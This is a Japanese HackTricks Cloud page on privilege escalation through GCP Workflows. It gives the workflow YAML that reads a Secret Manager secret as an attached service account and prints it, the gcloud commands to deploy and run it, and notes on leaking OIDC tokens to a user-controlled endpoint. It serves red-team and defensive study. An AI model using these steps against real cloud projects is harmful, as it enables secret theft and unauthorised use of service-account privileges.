GCP - Workflows Privesc
Reading time: 6 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Workflows
基本情報:
workflows.workflows.create
, iam.serviceAccounts.ActAs
, workflows.executions.create
, (workflows.workflows.get
, workflows.operations.get
)
私の知る限り、Workflowに攻撃されたSAの資格情報を含むメタデータエンドポイントへのアクセスでシェルを取得することは不可能です。しかし、Workflow内で実行するアクションを追加することで、SAの権限を悪用することは可能です。
コネクタのドキュメントを見つけることができます。例えば、これはSecretmanagerコネクタのページです。 サイドバーには他のいくつかのコネクタが見つかります。
ここに秘密を印刷するコネクタの例があります:
main:
params: [input]
steps:
- access_string_secret:
call: googleapis.secretmanager.v1.projects.secrets.versions.accessString
args:
secret_id: secret_name
version: 1
project_id: project-id
result: str_secret
- returnOutput:
return: "${str_secret}"
CLIからの更新:
gcloud workflows deploy <workflow-name> \
--service-account=email@SA \
--source=/path/to/config.yaml \
--location us-central1
ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist
というエラーが表示された場合は、1分待って再試行してください。
ウェブアクセスがない場合でも、次の方法でWorkflowの実行をトリガーして確認することができます:
# Run execution with output
gcloud workflows run <workflow-name> --location us-central1
# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1
# List executions
gcloud workflows executions list <workflow-name>
# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>
caution
前の実行の出力を確認して、機密情報を探すこともできます。
PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...
のようなエラーが発生しても、その権限がないため、ワークフローは生成されています。
OIDCトークンの漏洩(およびOAuth?)
ドキュメントによると、ワークフローステップを使用して、OAuthまたはOIDCトークンを含むHTTPリクエストを送信することが可能です。しかし、Cloud Schedulerの場合と同様に、OAuthトークンを含むHTTPリクエストはホスト.googleapis.com
に送信する必要があります。
caution
したがって、ユーザーが制御するHTTPエンドポイントを指定することでOIDCトークンが漏洩する可能性がありますが、OAuthトークンを漏洩させるには、その保護をバイパスする必要があります。ただし、OAuthトークンを使用して、コネクタまたはHTTPリクエストを介してSAの代理で任意のGCP APIに連絡することは依然として可能です。
Oauth
- step_A:
call: http.post
args:
url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop
auth:
type: OAuth2
scopes: OAUTH_SCOPE
OIDC
- step_A:
call: http.get
args:
url: https://us-central1-project.cloudfunctions.net/functionA
query:
firstNumber: 4
secondNumber: 6
operation: sum
auth:
type: OIDC
audience: OIDC_AUDIENCE
workflows.workflows.update
...
この権限を使用すると、workflows.workflows.create
の代わりに、既存のワークフローを更新し、同じ攻撃を実行することができます。
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。